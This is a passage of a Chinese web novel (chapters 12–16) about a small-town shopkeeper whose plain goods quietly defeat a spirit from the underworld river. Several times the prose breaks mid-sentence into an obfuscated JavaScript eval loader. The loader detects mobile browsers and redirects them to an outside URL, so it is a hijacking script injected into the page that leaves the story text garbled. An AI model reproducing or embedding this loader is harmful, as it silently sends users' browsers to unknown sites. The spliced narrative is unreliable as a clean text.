叶幽尘和周梦鹤心里皆是一凉。 这个价格，店主卖给他们的，必然不是灵器了。 他们讨论过，昨夜那根手杖，应该是店主赠送的“试用品”，现在看来，店主对试用的结果不满意。 叶幽尘白着脸点头：“好，麻烦您了。” 他买了一整箱苹果汁，又充值了两千块。 知道他们要去找龙叔，时愿道：“我就不陪你们过去了，慢走。” 早上发生的事一定传开了，她现在出去，肯定会被围着问。这两人看起来不好相处，倒是没人敢缠上来。 出了杂货铺，周梦鹤拍了拍叶幽尘的肩膀：“师叔，别失落，至少店主没有拒绝你补办会员卡。等身体恢复了，你还有机会获得店主的青睐。” 叶幽尘“嗯”了一声：“师兄那边有进展吗？” 周梦鹤拿出手机，皱眉：“排查了一夜也没有找到那东西的藏身之所。等见完龙先生，我赶过去帮忙。” 锦鲤面馆。 叶幽尘向龙叔递上果篮，不经意间瞥见他手袖的阴影里，似乎有什么动了一下。 仔细一看，原来只是一小片鳞片纹身，因为效果逼真，有种波光闪闪的效果。 龙叔注意到他的目光，接过果篮，顺手扣上袖口：“举手之劳，不用这么客气，以后来店里吃面，给你们打折。你们来得不巧，我正要去菜市场买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364213|183848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点葱，去晚了就不新鲜了。” 叶幽尘：“那就不耽误您的时间了。” 周梦鹤问：“老板，今天怎么穿长袖，不热吗？” “昨天通下水道淋了点雨，有点感冒。我出去了，你们也回去吧。”龙叔拿了钱包，对叶幽尘笑了笑，“好好养病。” 周梦鹤：“师叔，我送你到酒店，再去找我爸。” “几步路，不用送，你去吧。”叶幽尘走向酒店，突然停下脚步，看向面馆二楼。 刚才似乎有人在看他。 菜市场。 “罗妹，听说你今早在场，两个大帅哥给小愿磕头是怎么回事啊？” “不会是喜欢小愿吧？爱而不得死缠烂打？” “不是不是，你们想到哪里去了。”罗婶压低声音解释，“前阵子我家……闹东西，老金帮我搭线找到了这位周大师，就是下跪的那个帅哥。好巧小愿回家，顺手就帮我解决了，我就告诉周大师不用来了，他不信，非说小愿是骗子。小愿问我拿到他的电话，结果周大师的师叔就压着他上门道歉了。” “原来是得罪了小愿啊！” “小愿厉害了……罗妹，你家闹东西是怎么回事啊？” 路过的李婶模模糊糊听了一耳朵，只听到什么“闹东西”、“大师”、“师叔”……去买鱼的时候，又听到其他人在讨论这个事。 “龙老板，那两个跪小愿的帅哥，为啥给你送果篮啊？” 龙叔解释：“昨天那个小伙子晕倒在路上，我和小愿送他去医院，小伙子昨晚病得不轻，跟中邪似的说胡话，一出院就来道谢了，真是太实在了。” “那他跪你了吗？” “没有，用不着行这么大礼吧？” “他跪小愿了！” “听说他是方术大师，说不定就是办事的时候撞邪了，别人都看不见，只有小愿看得见，救了他。不然他倒在餐厅门口，第一个发现他的应该是老板或者去吃饭的人啊！” 还有人打开手机，给众人看屏幕：“难怪昨天小愿发了这幅画，你们看她画的这个倒影像不像……阴间的河啊？” 李婶完全听明白了。 买完菜回到家，她绘声绘色地和家人说起今天的见闻。 …… 下午，时愿在网上补货，顺便帮叶幽尘物色手杖。 有人匆匆跑进杂货铺，他浑身湿透了，小腿上一片血淋淋的伤口。见到时愿，仿佛见到救世主。 “老板，听说你昨天救了来镇上追查邪祟却差点被邪祟带到阴间的叶大师，他为了感谢你，亲自带着得罪过你的师侄上门跪谢！” 时愿：……？ 怎么传得这么离谱了！ 这人一把鼻涕一把眼泪：“你一定要救救我呀！我肯定也被脏东西缠上了！” 12. 第 12 章 这位来客情绪有点激动，时愿请他坐下说话。 他自称是时爸时妈的朋友，让时愿喊他大耳叔。 大耳叔的耳朵确实又大又圆，很有标识度。 “我常年在外面打工，今年才回来，你不记得我也正常。”大耳叔接过时愿给的纸巾擦脸，“我还来喝过你的满月酒咧。你出生的时候，你爸妈很高兴，就在这条街摆酒席，摆了十几桌，请了你们村的红鼻江掌勺，一桌十八个菜，大家都夸你爸妈实在……” 大耳叔眼神发直，双手在抖。时愿知道，他是在通过聊天缓解心头的恐惧。 时愿拧开碘伏，给他消毒伤口。 洗掉血迹，伤口看起来没那么吓人了。时愿在伤口上撒一层止血药粉，去院子里洗手。 大耳叔的目光跟着她转，生怕自己落单。 时愿很有经验，知道不帮这个忙，大耳叔今晚肯定睡不着觉。 她坐回位置上：“大耳叔，说说吧，你遇到什么事了？” 时愿的眼睛总是很平静，大耳叔在她的注视中，逐渐平复心情。 “我今天去鱼塘钓鱼，莫名其妙被一股大力拖进鱼塘里，我刚要踩水浮起来，腰就被什么东西缠住了，拖着我沉底。”大耳叔心有余悸，“要不是鱼塘老板老林听到声音赶过来，我肯定就淹死了。” 时愿：“是不是被大鱼拽下去了？” 有些鱼力气很大，偶尔会出现这种事故。 大耳叔摇头：“我看得很清楚，当时没有鱼咬钩。” 时愿：“可能是你坐的地方太滑了。” 大耳叔急切地解释：“那个位置很干燥，也很平稳，老林可以给我作证，在这么安全的位置钓鱼，要不是有东西作祟，绝对不会莫名其妙掉进塘里的！而且，水下缠住我腰的东西，感觉像是一条很长的手臂！” 时愿：“鱼塘老板也觉得是闹鬼？” 大耳叔又不太确定了：“应该吧？我是在回来的路上碰上我邻居，她问我腿上的伤是怎么来的，我俩一合计，这事太怪，我可能是撞邪了。她又提起你的事，让我赶紧找你救命，我就火急火燎地过来了。” 大耳叔一拍大腿：“老林可能还没想明白呢，我得给他打个电话，让他也过来。” 时愿：“……”我不是这个意思。 大耳叔电话已经拨出去了，他把刚才那番话原封不动地转告鱼塘老板。 大耳叔的手机声音很大，时愿能听到鱼塘老板的声音。 鱼塘老板说大耳叔想太多了，青天白日哪来的鬼怪，我天天在鱼塘干活，要是有鬼，早就缠上我了！ 鱼塘老板说你要是没事干就来鱼塘喝酒，不以为意地挂了大耳叔的电话。 时愿在心里默默点头，鱼塘老板说得在理啊。 大耳叔不信，大耳叔坚持认为自己撞邪了。大耳叔还说：“我这个伤口一直很痛，像被人一直用指甲不停地抓，你给我敷完药粉立刻就不痛了，清清凉凉的很舒服。小愿，我知道，你是有真本事的。” 敷完药当然没那么痛了。时愿无奈：“你在店里等我一下，我去准备点东西。” 大耳叔不敢单独待着，艰难起身：“我跟你一起去。” “你放心，店里很安全。”时愿指了指蹲在柜台上的小橘猫，“它会保护你。” 大耳叔看着那只猫，不知为何，总感觉那双眼睛能看到自己心里去。 等他回过神来，时愿已经回来了，手里拿着一把柚子叶。 时愿在门口插上柚子叶，让大耳叔站在院子里，用柚子叶拍了三下他的天灵盖，又扫了扫他的双肩和腰侧。 “好了。” “这就好了？”大耳叔狐疑，这也太简单了吧？ 时愿：“我把它拍出来了，它进不了我的家门，没地方躲藏，会被太阳晒化。” 这个方法是外婆教她的，虽然她不信，但可以照搬过来，让长辈安心。 大耳叔还是第一次听到这种说法，时愿的声音没有什么起伏，不像其他大师一样故作高深，但是莫名有种让人信服的力量。 大耳叔：“那我晒久一点。” “也别晒太久了。”时愿看了下表，“三分钟后我来叫你。” 小橘猫蹲在门口，看了全程。店主先是用柚子叶轻拍大耳叔的头顶，把他体内的阴气逼出来，又用柚子叶扫去他双肩的晦气，让他的魂火恢复明净，最后除去邪祟在他腰间留下的印记。 那团阴气在院子里疯狂地乱窜，最终被阳光晒化。 店主果然手段犀利。 只不过，这不是那东西的本体，只是它分出的一缕阴气，应该是用来躲避灵师搜查的手段。 冥河游上来的东西果然狡猾，难怪让叶幽尘吃尽苦头。 店主会怎么做呢？会告诉叶幽尘这个线索吗？ 晒着晒着，大耳叔感到腰侧一阵奇痒，他掀起衣服一看，皮肤上面有两只黑色的手印，长长的手指几乎伸到他的肚脐眼。 大耳叔吓得尖叫，这手印一见光，却是渐渐消失了。大耳叔浑身一轻，心脏怦怦直跳，附在他身上的脏东西真的被晒化了！ “怎么了？”时愿出来问。 “没事。”大耳叔抹汗，“第一次见这种场面，有点被吓到了。” 大耳叔对时愿千恩万谢，打开钱夹看都不看，掏出一叠钱塞给时愿：“小小心意，你一定要收下。” 时愿把钱推回去：“不用给钱。” 和大家说的一样，时愿帮人从来不肯收钱，她淡泊名利，只是默默守护着这座小镇的居民。 大耳叔感动不已，湿了眼眶：“那我充会员卡，支持一下小辈的生意，应该的！” “谢谢大耳叔。” 大耳叔又问：“店里有卖护身符吗？” 时愿把会员卡递给他：“没有，你不放心就回去用柚子叶煮水洗一遍澡，去庙里捐点钱。” 下午五点，时愿准时下班。 她去杂物房拿出钓竿和鱼篓，出门前摸了摸小橘猫：“我出去钓鱼了，要是钓到就给你吃。” 前段时间天天下雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364214|183848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她好久没去海边钓鱼，一直听大耳叔说钓鱼的事，技痒了。 小橘猫目送时愿离开，对门口的银杏道：“那东西一直在辖区捣乱，彻底惹怒店主了。” 银杏：“嗯，看来店主要亲自出手了。” 一个小时过去了，时愿钓到了两条河豚，在她的手里变得气鼓鼓。 捏一捏，丢回海里。 “不准再吃我的饵料了。” 又过了半小时，晚霞铺满海面，鱼篓还是空空如也。 因为一直没有动作，甚至有大胆的白鹭落在她附近歇息。 她看白鹭，白鹭也看她。 她不动，白鹭也不动。 白鹭缓缓扭头，静视海面，突然伸长脖子，一猛子扎进水里，再起来时，长喙叼着一条鱼。 叼着鱼的白鹭扭头看时愿，眼神十分得意。 时愿：“……”被嘲讽了。 肚子饿了。 时愿决定回家吃饭：“我明天再来，肯定赢你。” 白鹭吞下一整条鱼，发出难听的叫声，听起来像在嘲笑。 时愿收拾东西走人，这只白鹭居然没有被惊飞，跟在她身后走了几步。 时愿郁闷，真成精啦？ 这附近没地方停车，她的车停得有点远，要走一段路。 这条路平时特别多车经过，还有很多人来赶海、钓鱼、看海，有时候还能碰见羊群。 今天天气这么好，落日这么美，居然没人。 走了几分钟，那只跟着她的白鹭突然飞走了。 时愿收回目光，看到滩涂上有两个人在钓鱼。 似乎是外地来的，普通话字正腔圆，隔这么远都能听清他们在说什么。 “没想到溜了这么久，它的力气还这么大。” “这条‘鱼’比我们以为的还要大，我们带来的东西装不下。” “不能再耗下去了，‘力’不够，会被它拖下水。” 这两个人握着同一根鱼竿，背影看起来很吃力。脚边只放着两个背包和一个小水箱，这么小的水箱，确实不顶用。 这条鱼很难钓，时愿想起大耳叔的遭遇，担心他们也被拽下海里。 顺着阶梯下到滩涂，时愿扬声说：“我的鱼篓借给你们吧，反正我没钓到鱼。” 周怀瑾、周握瑜同时回头，看到一个握着鱼竿的小姑娘朝他们走来，两人脸上是如出一辙的惊讶。 她是什么时候过来的？他们竟然完全没有察觉。 况且，水里头这东西气息霸道，这一带有灵性的生物都有意无意地回避了，基围上没有行人，水里连鱼都没有。 难道……她不是人？ 周怀瑾仔细辨认，恰到好处的一阵海风吹起小姑娘的乌发，他看得很清楚，她是人类，一个长相优越的人类，年纪看起来和他儿子差不多大。 难道是感官太迟钝了？偶尔也会有这种人。 “小姑娘，你的鱼篓可装不下这条鱼。”周怀瑾温声道，“天快黑了，你还是赶紧回家去吧。” 13. 第 13 章 “你放心，这个鱼篓可以装30斤鱼。”时愿对自家杂货铺的商品很有信心，“质量很好，你的鱼力气再大也跑不掉。” “我知道你的鱼篓够大，但是这一条可不是一般的鱼……” 说话间，鱼竿被拉动，周怀瑾和周握瑜两兄弟像拔河一样，被对方往前拖动，两双脚深深地陷入滩涂，留下四道痕迹。 海面甩起一道高高的水花，时愿看不到那条大鱼，怕两人被拖进海里，过去搭了把手。 她刚握住鱼竿，还没用力，海面就归于平静。 这鱼没力气了？ 时愿松开鱼竿，往海水里看，这会儿天已经暗了，只能看到一个模糊的影子晃来晃去。 周怀瑾和周握瑜惊出一身冷汗，刚才要是被拖下海里，他们就死定了！ 两兄弟对视一样，眼底都不平静。 那东西突然发难，他们本来落了下风，就在这位小姑娘碰上鱼竿的瞬间，那东西偃旗息鼓，水里的庞大阴影在颤抖着，似乎在恐惧着什么。 可是横看竖看，这位小姑娘都是个不懂方术的普通人，身上的气息更是平淡到没什么存在感。 就算是方术高手，也不可能轻轻一碰，就压制邪祟。 应该是巧合吧？ 但，也可能是个机缘…… 周怀瑾的态度大转弯，十分客气地问：“小姑娘，可以让我看看你的鱼篓吗？” 时愿把鱼篓递给他。 水里的东西还算安分，但随时可能暴起，周怀瑾不敢放手，只空出一只手接过鱼篓。 碰触鱼篓的刹那，周怀瑾看到一片宁静的竹林，每一根竹子上都刻着金色符文，他想辨认这些符文的意思，眼前的景象却突然消失，他浑身一震，犹如梦中惊醒。 不知过了多久，双眼方才慢慢聚焦。 周怀瑾双手早已汗湿，两耳只听得见自己的心跳声。 这个鱼篓，是难得一见的高规格灵器！ 这下别说把水里的东西送走了，抓起来也行！ 周怀瑾难掩激动：“小姑娘，这个鱼篓是从哪里得来的？” 这位路人大叔，之前还看不上她的鱼篓，接过去之后却看得眼神发直，爱不释手，现在更是激动得跟捡到宝似的，就差说一句“真香”了。 时愿只道：“家里随便拿的。” 周怀瑾和周握瑜再次对视一眼，达成共识。 这下可以确定了，小姑娘就是偶然路过的普通人。她不懂方术，更不清楚这个鱼篓是个珍贵的灵器。 这个灵器的来历已经不可考，或是捡来的，或是意外流入普通市场，或是家传……这种例子常有。 “我可以买下这个鱼篓吗？”周怀瑾看不上那种骗人捡漏的做法，实话实说，“我是一名……” “你的鱼动了。”时愿提醒。 耽误了一会儿，那东西已经恢复了，周怀瑾和周握瑜陷入新一轮拉锯战，不过，那东西的气息变弱了，这一回他们占了上风。 看天像要下雨，时愿也不等他们把鱼钓上来了。 “旧鱼篓不值什么钱，送你们了。” 乌云沉入海面，又被暴雨搅乱。 飞驰的越野车停在海堤上，周梦鹤下车，撑开一把伞，为周父和周二叔挡雨：“送走了吗？” “抓到了。”周怀瑾提起鱼篓，自己都觉得不太真实。 他本来已经做好了血祭的打算，即使拼了这条老命，也要把这东西送回冥河。 结果被一个路过的普通小姑娘救了。 周梦鹤惊讶：“这灵器是从哪里来的？” “一个小姑娘送的。”周怀瑾叹了口气，“她以为这是普通鱼篓，我连道谢都没来得及，她就走了，也不知道能不能再遇见，我应该付她一笔钱。” 小姑娘？周梦鹤脑中闪过某道身影，随后否定。如果是她，不可能不清楚这鱼篓的价值。 “这个镇子不大，打听一下或许能找到人。”周梦鹤道，“别站在这里淋雨了，走吧。” 没钓到鱼，回到镇上也没买到鱼，时愿到超市买了一包鸡胸肉，回到家就下雨了。 时愿蒸了一块鸡胸肉，撕成小块，端到杂货铺喂猫。 时愿对猫猫保证：“明天你一定能喝上鱼汤。” 白树生嗅到店主身上的冥河气息，明白了，店主已经抓到那东西了，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364215|183848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没带回来。 小橘猫张开大嘴，一口吞掉半碗鸡胸肉。 人间的食物真好吃喵。 …… 大耳叔家。 “你腿上的伤怎么样了，还痛不痛？”大耳叔的妻子张美问他。 “不怎么痛了，伤口不深，只是看着吓人。” “我听你说的更吓人，这段时间你还是在家里躲躲，哪里都不要去了。”张美话音一转，“你告诉老林了吗？这得提醒他一下。” “说了，我当着小愿的面打的电话，他不信。我亲眼看见那两个手印之后，我又和他说了一遍，他还是不信，非说我是自己吓自己，出现幻觉了，你看。”大耳叔把聊天记录给妻子看，“这种事情，他不信我说破嘴皮也没有用。而且，他说得也不是没有道理，他天天在鱼塘，要出事早出事了，他可能就是不信这些，所以火气壮。” 张美点点头，又道：“要打个电话感谢小愿她爸妈。” 大耳叔摆摆手：“他们两口子，比老林还不信这些。我到时候就说小愿帮了我一个忙，问问她爸妈她爱吃什么，送点过去。” 张美：“也可以，睡吧，别想了。” 大耳叔以为自己会怕得睡不着，没想到沾到枕头就睡着了，特别安心。 鱼塘老板老林今晚也宿在鱼塘旁边的铁皮屋里。 暴雨砸在铁皮屋顶上，噼里啪啦，穿透老林的梦境。 梦里，有个湿漉漉的东西站在他的床头，不停地说：“到海里去……到海里去……” 他不肯，那东西就抓住他的手，把他拖下床。 地板变成鱼塘，他沉下去，想喊救命，又喊不出声。 有什么闪闪发光的东西从上面落下来，他像看到救命稻草，拼命去抓，却发现那是一根鱼钩！ 他连忙缩回手，鱼钩却钩住他的嘴巴，老林在剧痛中惊醒，直喘大气。 “是噩梦。”老林抹了一把脸，“不是真的。” 他起身找水喝，耳边忽然响起一个模糊的声音，好像在说：到海里去…… 老林从后脑勺麻到脚后跟，哆哆嗦嗦地拨通大耳叔的电话：“大耳，救、救命啊！” 14. 第 14 章 望海市。 周氏宗祠。 香炉中的香火齐根断掉，被放置在灵阵中央的鱼篓剧烈震动，传出数道凄厉的哭声。 周怀瑾吐出一口血，向后飞出一米多的距离，他及时护住软肋，在身体撞上地面时，又呕出一大口血。 “爸！”周梦鹤冲过去，把人扶起来，“不要再勉强了！” 他们从来不敢奢望能抓到这东西。 抓到之后，第一个念头就是，必须超度那些被吞噬的无辜魂魄。否则，这些无辜受害者将无法进入轮回。 然而，他们从来没有过这种经验。 只能冒险使用祖师爷留下来的灵阵，可惜灵阵残缺，他们还是失败了。 听着鱼篓中传出的哭声，周怀瑾的心备受煎熬，随手抹掉唇边的血，他一瘸一拐地走向灵阵：“我再试一次。” 老头像头倔驴，周梦鹤拦不住，又怕太用力让他的伤势加重，着急地看向叶幽尘：“小师叔，你说句话，我爸最听你的！” “师兄。”叶幽尘说，“去找人帮忙吧。” “要是可以找到能相助的人，我又何必这样呢？”周怀瑾苦笑，“我问过局里的专家了，他们也没有法子。这东西要么我们想办法送走，要么上交给他们送走。” 叶幽尘：“有一个人或许有办法。” 周怀瑾生出一丝希冀：“谁？” 叶幽尘抽出口袋里的会员卡，鱼篓瞬间平静下来，比什么香火符纸都管用。 “愿望杂货铺的店主。” 周怀瑾果断道：“可以一试。另外，这东西魂魄不全，似乎留了后手，我们还要再去排查一遍桂圩镇的水域。” 时愿被一通电话吵醒了。 她睡得迷迷糊糊，也没看来电显示，随手划向接听。 “时愿大师，救、救命啊！”那头传来一个抖得不成样子的声音，还有点耳熟。 时愿完全清醒了，看了眼屏幕，是个本地的陌生号码。 “你是？” “我、我是老林！鱼、鱼塘老林！” 今天白天才听过这个名字，时愿没忘：“大耳叔的朋友？” “对、对，我是大耳的朋友。”老林把声音压得很低，依旧能听出哭腔，“这个时间吵你睡觉，真的非常对不起，但是、但是我真的、真的没有办法了，只要你答应救我，让我做什么都行，我这里有、有鬼……” 时愿漏听过一个电话，因此错过了最后一次听到苏烛声音的机会。 苏烛孤独地沉入海底。 从那之后，她养成了不静音手机的习惯。 大半夜被一通电话吵醒，她也没有起床气。 她按亮一盏床头灯，温声道：“林叔，你先深呼吸，冷静下来，告诉我发生什么事了。” 老林做了个深呼吸，平复情绪，把自己的遭遇一五一十地说出来。 “我给大耳打了电话，问到了你的手机号码。我现在嘴巴旁边肿起来一长串包，位置和做梦的时候被鱼钩勾住的地方一样，我没敢照镜子。我、我还听到屋子里有人在说话，不停地让我到海里去，我捂住耳朵也没用。” 时愿大概明白了。 老林白天嘴上说着不信，实际上只是嘴硬，到了晚上，心理暗示加重，他做了和钓鱼有关的噩梦，被吓醒了，然后对此深信不疑。 所谓疑心生暗鬼，就是这样。 时愿回忆外婆教自己应对半夜惊醒的方法，对老林说：“我说什么，你做什么。” “好、好，我一定照做！” “你倒一杯水，找一张纸。” “用来喝酒的搪瓷杯可以吗？我这里只有日历纸，有很多字，可以吗？” “可以。”时愿继续道，“你在没有字的那一面写个‘海’字，把这杯水放到面向海的墙角下，再把那张纸压在杯子底下。” 那边传来一些细小的动静，老林说：“我都照做了。” 时愿：“随便找个什么东西，把杯子盖上，你就可以安心睡觉了。” 老林依旧很不安：“这样就可以了？” “缠住你的东西想回到海里去，它已经被骗进杯子里了。” 老林听完，毛骨悚然，不敢再直视那个装满水的杯子，连忙拿杯盖把杯子盖得死死的。 “你耳边的怪声消失了。”时愿用肯定的语气说。 老林竖起耳朵，发现那个声音真的消失了！ “真的听不到了！”老林捡回一条命，高兴得眼泪都掉下来了，“大师，你真的太神了！” 时愿懒得纠正他的称呼：“你安全了，放心睡吧。” 她当然不是神仙，只是用这种方式给老林正确的心理暗示，让他放松下来罢了。 用外婆的话来说，就是把噩梦送走了。 知道自己小命无忧了，老林也不敢睡，那东西还在屋里头呢！万一它发现自己被骗，从杯子里钻出来呢？ 老林盯着闹钟上的时针，数着时间等天亮。 直到挂掉电话，时愿也没有看时间。有一种说法，半夜醒来的时候看时间就会难以入睡。 这个说法应该有一些道理，因为这通充满灵异色彩的电话，并没有影响时愿的睡眠，她很快就进入梦乡。 清晨，下了一夜的雨停了。 时愿准点醒来，半夜醒了一次，但睡眠质量还行，镜子里的她皮肤白净，没有长出黑眼圈，但她还是希望这样的事情不要再发生了。 出门买菜的时候，看到大耳叔和另一个不认识的大叔站在杂货铺门口。 大耳叔对大叔说：“我昨天怎么跟你说的，你是怎么回答我的？要是你信我的，不就不用受罪了吗？” 大叔臊眉耷眼：“我已经吃到苦头了，连累你一大早跟我过来，唉，真是……” 注意到大叔嘴巴旁边的红肿，时愿知道他是谁了，鱼塘老林。 “小愿来了！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听到这句话，大叔紧绷的肩膀塌了下去，身上仿佛注入了一股勇气。 叶幽尘自然能看出，大叔脸上的伤口是邪祟造成的。并且，看到他，鱼篓里的东西反应剧烈，说明他身上的伤，是这东西特意留下来的，这就是它给自己留的后手。 这东西无比狡猾，让他们吃尽苦头。可是店主说，这东西很弱。 叶幽尘感觉有一道天堑横在自己面前，一道名为实力差距的天堑。 周怀瑾比叶幽尘还震惊，用气音问：“你说的高人，就是这个小姑娘？” “嗯。”叶幽尘抿了抿唇，“是她将我带回人间。” 周怀瑾呼吸急促，脑中闪过无数个猜想：“鱼篓就是她给我的！” 15. 第 15 章 听到周怀瑾的话，叶幽尘没有惊讶，只觉得佩服。 一副拼图拼上了最后一块，他一直以来的猜想变得完整。 从这东西进入店主的地盘开始，或是在更早之前，店主就知道他们和它之间的冤债，并想好了应对策略。 店主只想解决麻烦，不想声张身份，更不想吸引其他势力的目光。 所以，她总是在他们需要帮助的时候，及时出现，伸出援手，又悄然退场。所以，她在他们的视野之外，独自完成扫尾工作，让那东西死灰复燃的幻想彻底破灭。 事了拂衣去，深藏功与名。若不是他们碰巧遇见，都不知道店主做了这么多事。 叶幽尘：“店主不想声张，我们应该帮她保守秘密。” 周怀瑾的实力在叶幽尘之上，自然也能看出来，门前的银杏树和店里面死盯着他们的猫都是妖，且道行不低。 光是这条消息传出去，就能引来许多觊觎的目光。 “放心，我心里有数。”周怀瑾老脸一红，“店主已经帮了我们这么多，我还要厚着脸皮上门求助，真是……” 周怀瑾的话音戛然而止——店主探究的目光正落在他们身上。 为了超度亡灵，只能豁出这张老脸了。周怀瑾提着鱼篓，跟在叶幽尘身后，走进杂货铺。 “欢迎光临。”时愿和叶幽尘打了招呼，看向周怀瑾，“我们昨天见过。” 周怀瑾有些拘谨：“您好，我是幽尘的师兄，我姓周，周怀瑾。” “这么巧。”时愿微微一笑，“你们是一起来的吗？” 反应很平淡，店主果然早就知道他们之间的关系。 “是，我们是一起的。”叶幽尘把大包小包的礼物放在柜台上，温声道，“上次烧昏头了，回去之后才想起没有给您转医药费，所以再次上门拜访，给您带了点小礼物，希望您能收下。” “你不说我都忘记了。都说了不用带礼物，你拿回去吧。” “救命的恩情，怎么报答都不为过。”青年目光执拗，“希望您能给我报答的机会。” “好吧，下不为例。”时愿松了口，“既然你带了礼物，医药费就不用还了，总共也没多少钱。” 叶幽尘没有坚持，只是又往会员卡里充值了一大笔钱。 时愿：“……” “你不要冲动消费。” 叶幽尘理由充分：“我想搬到镇上养伤，搬家的时候需要买很多东西。” 他又喝了几瓶苹果汁，视力和身体都恢复得不错。认真考虑过后，他决定搬到杂货铺附近静养，直到完全康复，休假期间正好准备面包店的开店事宜。 “好，到时候给你打折。房子找到了吗，需要帮你打听一下吗？” “还没找到，如果您能帮忙就太好了。” “行，我回头帮你问问。”时愿说，“对了，手杖我已经找好了，加个好友，我把图片发给你，你选一下款式。” 可以加店主好友。叶幽尘一手扫码，垂在腿边的左手紧张地张合了下。 老林一直安静地听他们聊天，猜想这位叶先生和自己一样，也是被时愿救过性命。 老林对叶先生的经历不感兴趣，只想知道周怀瑾提着的鱼篓里装着什么。从见到这东西的第一眼起，老林就很不舒服，嘴边的伤口又痒又痛，像是在和什么东西共鸣一样。 老林能看出来，周怀瑾也是来找时愿帮忙的，而且这人打算等他离开后，再找时愿说。 老林心里很怕，知道不弄明白这件事，一定寝食难安。他大声问：“你这鱼篓里面装的是什么？” 周怀瑾被他吓了一跳，好脾气地回答：“是一条‘大鱼’。” 鱼！缠上他和大耳的东西是从水里爬上来的，还想回到海里去，说不定就是一条鱼怪！ 老林觉得鱼篓里有一只死鱼眼在盯着自己。 他坐立难安，决定打破砂锅问到底：“你找小愿有事？” 时愿发完照片，随口道：“他只是陪叶先生过来吧。” “不是。”周怀瑾不想她误会，急忙说出来意，“我没地方能处理这条‘鱼’，想请您帮忙。” 时愿这才看向鱼篓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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老林听得心惊肉跳，他敢说，那两个人绝对不是在杀一条普通的鱼！ 16. 第 16 章 终于吃上炊米糕了，这可是外面吃不到的风味。炒过的炊米糕软糯香甜，边缘焦香，时愿一口一块，满足得半眯起眼睛。 老林见她老神在在，吊在嗓子眼的心脏缓缓回落。有时愿坐镇，天塌不下来，安心吃炊米糕吧。 他们吃完早餐没多久，厨房门打开了，猫猫优雅地走到时愿脚边，啪叽一下躺下，餍足地舔着爪子。 老林摸了摸脸颊，伤口一点都不痛了！ 周怀瑾拎着空鱼篓出来，不停地向时愿表达谢意。 时愿：“小事，不用谢。” 叶幽尘双手奉上一个信封：“这是那条‘鱼’的奖金，理应给您。” 时愿长见识了：“居然有奖金？” 店主刚入世不久，恐怕还不清楚各方势力的运转规则。碍于有普通人在场，叶幽尘只能含糊回答：“是协会的奖励。” 灵师协会，是最大的民间灵师组织。这东西是协会悬赏的邪祟，奖金还没到账，这是周家先垫上的钱，还添上了买灵器鱼篓的钱。 钓鱼爱好者协会？ 时愿拒绝了：“你们辛苦钓上的鱼，我不好分奖金。” “要不是您借给我们鱼篓，还拉了一把，我们也钓不上来这条‘大鱼’。”周怀瑾意切辞尽，“请您务必收下，不然我们良心不安。” 周怀瑾是叶幽尘的师兄，样貌和周梦鹤有相似之处，应该有血缘关系。时愿见识过这一家人的老派做法，感觉她要是不收，这位大叔能当场给她磕一个。 “那我就收下了。”时愿接过信封，感受到它的惊人厚度，难得好奇，“你们协会还招人吗？” 今年没有招新计划，但店主这样的人物难得一遇，如果她想加入，协会一定愿意为她破例。 周怀瑾道：“我会向协会转达您的意思，有消息第一时间告诉您。” 回老家以来，时愿听惯了方言，最近老是遇到说话文绉绉的外乡顾客，感觉还挺奇妙。 叶幽尘选好了手杖款式，时愿问他：“要等几天才能到货，给你寄过去，还是你来店里拿？” 叶幽尘想都不想：“我来取。” 老林的伤口不痛了，他依旧不清楚那条“鱼”是什么，也不知道这两个外乡人在厨房里做了什么。求生的本能告诉他，有些事情假装不知道、不要深究比较好。 老林扫码转账，拎起时愿给他的“平安符”：“小愿，我转钱给你了，我先回去处理掉那杯水。” 老林没有给时愿拒绝的机会，拉着大耳跑了。 两个驱虫草药包，共计2元。 老林转账666元。 时愿：“……” 下次问问老林要不要办会员卡吧，这钱她不能收。 